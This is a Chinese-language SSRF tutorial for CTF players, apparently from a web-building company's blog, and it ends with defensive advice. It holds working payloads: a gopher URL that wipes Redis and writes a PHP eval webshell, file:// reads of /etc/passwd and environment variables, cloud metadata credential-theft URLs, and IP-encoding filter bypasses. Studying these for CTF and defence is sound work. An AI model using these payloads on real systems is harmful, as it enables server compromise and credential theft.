尧图建网站 尧图建网站 YAOTU WEB BUILD 免费咨询
ARTICLE DETAIL

资讯详情

深耕网站建设与建站编程的一线实战洞察。

SSRF入门

SSRF入门 一、漏洞原理SSRFServer-Side Request Forgery服务器端请求伪造是指攻击者利用服务器端功能构造恶意请求使服务器作为代理去访问内网或外部的任意资源。由于请求来自服务器自身因此可以绕过防火墙、访问内网服务、读取云元数据、探测端口等。攻击者诱导服务器向其指定的地址发送请求由于服务器通常拥有更高的权限攻击者可以利用该漏洞访问或攻击服务器所在内网的资源、其他服务甚至读取本地文件等核心成因应用接收用户提供的 URL 或 IP 地址服务器端发起请求时未做充分限制导致请求目标完全可控。CTF 中常见目标读取内网 Web 服务的敏感页面如/flag、/admin访问云平台元数据接口如 AWS/阿里云/腾讯云获取凭证端口扫描内部服务利用协议如file、gopher、dict读文件或进行攻击结合其他漏洞如 Redis 未授权访问进行利用二、SSRF 常见功能点远程图片加载用户提交图片 URL 后下载远程文件包含/模板加载URL 跳转/短链接生成Web 截图/网页预览服务在线翻译/网页代理数据库导出导入如连接远程数据库API 聚合类服务传入 URL 拉取数据Webhook/回调地址配置三、SSRF 的协议利用根据服务器允许的 URL scheme协议可以发起不同类型的请求3.1 常见可被利用的协议协议利用场景示例http://https://访问内网 HTTP 服务读取返回内容http://192.168.1.1/adminfile://读取服务器本地文件file:///etc/passwd、file:///flagdict://探测端口、发送数据给 TCP 服务dict://127.0.0.1:6379/infoRedisgopher://构造任意 TCP 数据流GET/POST/Redis等攻击非 HTTP 协议gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall...ftp://可能用于端口扫描或读取 FTP 文件ftp://evil.com/file注意具体支持哪些协议取决于后端使用的请求库。PHP 中curl支持上述多种协议而file_get_contents()通常只支持 HTTP 和 FTP但可通过allow_url_include等配置扩展。Pythonrequests基本只支持 HTTP/HTTPS若使用urllib可能支持file。3.2 HTTP 基本利用访问内网 Web 服务当应用返回远程请求的响应内容时可直接构造内网 URL 获取敏感页面http://127.0.0.1/admin http://10.0.0.1:8080/flag http://localhost/phpmyadmin如果响应内容不完全返回如仅返回状态码或图片则可以通过差异如响应时间、页面长度、HTTP 状态码进行盲探测。四、绕过 SSRF 防御CTF 重点服务器通常会对用户输入的 URL 进行限制如白名单域名、黑名单 IP、禁止内网地址等。需要灵活绕过。4.1 本地地址绕过服务器可能过滤了127.0.0.1、localhost、内网网段等。1利用不同的 IP 写法十进制整数形式2130706433即127.0.0.1转为整数八进制0177.0.0.1某些系统解析十六进制0x7f.0.0.1混合形式127.0.0.0x1、127.1许多网络库会补全为127.0.0.1省略中间的 0127.1等价于127.0.0.1用[::]代替 IPv4http://[::1]/IPv6 本地环回地址使用 CIDR 或短地址形式127.0.1在某些工具中会解析为127.0.0.12域名解析到内网利用 DNS 解析到内网的域名比如nslookup localhost.com返回127.0.0.1使用 nip.io 之类的服务127.0.0.1.nip.io解析到127.0.0.1使用 xip.io10.0.0.1.xip.io短网址服务可能重定向到内网 URL3重定向绕过如果服务器禁止直接请求内网地址但允许外网且服务端跟随重定向可以搭建一个外网服务器收到请求后返回 302 重定向到http://127.0.0.1/admin服务器会跟随并获取内网内容。4封闭式字母数字绕过某些防护仅检查字符串包含可以用特殊编码或字符分割但不影响 URL 解析在 URL 中插入http://safe.com127.0.0.1/浏览器会连接127.0.0.1safe.com被当作用户名若 HTTP Basic AuthURL 中插入#或?干扰检测http://127.0.0.1#evil.com/URL 编码127.0.0.1写成%31%32%37%2e%30%2e%30%2e%31双重 URL 编码%2531%2532%2537%252e%2530%252e%2530%252e%25314.2 协议绕过如果只允许http和https尝试使用file://可能被拒绝。可以尝试大小写混合File:///flag或利用URL:包装url:file:///etc/passwd某些库支持。file: ///tmp/flag.txt# 冒号后加空格 file:/ //tmp/flag.txt /中间加空格 file:%2F%2F/tmp/flag.txt url编码// FILE:%2F%2F/tmp/flag.txt url编码并大写 file:\\/tmp/flag.txt 反写 file:/etc/../tmp/flag.txt4.3 端口绕过如果限制只能访问 80 端口可以尝试将请求发给其他端口但通过 80 端口服务转发。例如利用目标服务器的反向代理或开放重定向绕过端口限制。4.4 利用 CRLF 注入少见在某些情况下如果在 HTTP 头注入换行符可以向请求中注入额外头部或请求体有助于利用 gopher 攻击。五、SSRF 的进阶利用5.1 利用 gopher 协议攻击 RedisRedis 通常在127.0.0.1:6379运行且无密码。通过构造 gopher 请求可以执行任意命令。步骤先探测 Redis 是否存在dict://127.0.0.1:6379/info看是否返回 Redis 信息。使用工具如 Gopherus生成攻击 Payload例如写入 webshell、写 SSH 公钥、计划任务反弹 Shell。将生成的 gopher URL 提交到 SSRF 漏洞点。示例 Payload写入 Webshellgopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$62%0d%0a%0a%0a?php%20eval($_POST[cmd]);?%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0a该 payload 清空 Redis 数据库然后设置键值为一句话木马最后保存到/var/www/html/shell.php工具Gopherus生成 redis、mysql、fastcgi 等 payload5.2 利用 gopher 攻击 MySQLMySQL 客户端连接时会进行认证交互可以构造 Payload 读取数据库内容需已知用户名密码或利用弱口令。5.3 利用 file 协议读取文件如果后端支持file://直接读文件textfile:///etc/passwd file:///flag file:///proc/self/environ # 环境变量可能泄露信息 file:///proc/net/arp # 内网 ARP 表绕过过滤File:///flag、file://localhost/flag等。5.4 利用 SSRF 进行端口扫描通过访问不同端口并观察回显如错误信息、超时、响应长度可以扫描内网存活主机和端口。通常用 Burp Intruder 结合字典进行。请求http://127.0.0.1:80返回正常页面http://127.0.0.1:3306返回连接拒绝或超时或特定 banner5.5 云环境元数据窃取在云主机AWS、阿里云、腾讯云等中169.254.169.254是元数据服务地址通过 SSRF 可以获取实例的敏感凭证。AWS:http://169.254.169.254/latest/meta-data/阿里云:http://100.100.100.200/latest/meta-data/腾讯云:http://metadata.tencentyun.com/latest/meta-data/常见获取内容iam/security-credentials/下的临时密钥、public-keys、user-data等。绕过如果过滤了169.254.169.254可使用十进制2852039166或 DNS 解析的域名169.254.169.254.nip.io。六、SSRF 漏洞的常见防御与绕过总结防御方式绕过技巧白名单域名利用开放重定向如果允许的域名存在跳转漏洞黑名单 IP / 禁止内网IP 进制转换、DNS 解析到内网、xip.io、重定向限制协议仅 HTTP/HTTPS无通用绕过除非目标库有其他可利用 scheme如file、dict、gopher禁用重定向跟随几乎无法绕过除非有其他漏洞配合不返回响应内容盲 SSRF通过延时、错误类型判断、外带数据如向自己服务器发请求进行盲打或端口扫描请求前 URL 解析检查使用解析差异如http://example.comevil.com、URL 编码等七、CTF 实战示例从 SSRF 到 Flag题目描述一个“网页截图”功能用户输入 URL服务器访问并返回截图。存在 SSRF。目标获取内网http://192.168.1.100/flag的内容。步骤漏洞确认输入自己的 VPS 地址http://your-server/查看到请求日志确认服务器确实发起了请求。尝试http://127.0.0.1/发现截图显示的是目标站首页说明服务器能够访问本地环回地址存在 SSRF。尝试访问 Flag 直接 URLhttp://192.168.1.100/flag如果被拦截提示“不允许内网地址”等进入绕过环节。绕过内网 IP 限制尝试十进制 IPhttp://3232235876/flag192.168.1.100的整数形式尝试 xip.iohttp://192.168.1.100.xip.io/flag尝试http://127.0.0.1:8080/等变种看是否还有其他端口开放可能转发请求若无返回页面内容截图不清晰或只截取部分尝试file:///flag直接读取文件如果截图显示了文件内容。或利用http://127.0.0.1/flag假设 Web 根目录下有 Flag。如果限制 HTTP尝试其他协议输入file:///etc/passwd看截图是否显示系统文件确定是否支持 file 协议。若支持直接file:///flag。盲 SSRF如果完全没有页面回显只返回“截图失败”或无内容需用时间盲注或外带数据。在自己的 VPS 监控尝试texthttp://192.168.1.100/flag?datatest若目标能够解析域名并将请求带出可能通过 DNS 或 HTTP log 看到结果。或者使用curl结合命令执行若存在其他漏洞。拿到 Flag最终通过十进制 IP 绕过服务器正常返回了/flag页面内容截图显示 Flag八、SSRF 的防御措施白名单机制只允许访问预定义的域名或 IP 范围拒绝私有地址和localhost。过滤内网 IP在发起请求前通过解析域名获得的 IP 与内网段进行对比若属于私有/保留地址则禁止。禁用不必要协议仅允许 HTTP/HTTPS禁止file、gopher、dict、ftp等。禁止跳转关闭请求库的自动重定向功能或限制重定向次数并检查重定向目标。返回内容不直接输出即使是截图服务也不应将完整页面返回给用户可进行过滤或模糊化。最小权限运行限制服务器出站网络访问如使用网络策略只允许访问必要的外网资源。使用内网隔离将高敏感服务绑定到严格的内网接口并设置认证。九、总结SSRF 的核心是让服务端成为你的代理攻击内网或读取本地资源。CTF 中 SSRF 常考的绕过技巧包括各种 IP 表示形式、DNS 重绑定、302 跳转、罕见协议利用。根据回显情况分为有回显 SSRF直接读内容和盲 SSRF需外带数据或扫描灵活采用战术。深度利用离不开gopher协议攻击 Redis、MySQL 等内部服务构造攻击链。防御需从请求发起端进行全面限制不可仅依赖黑名单。
返回列表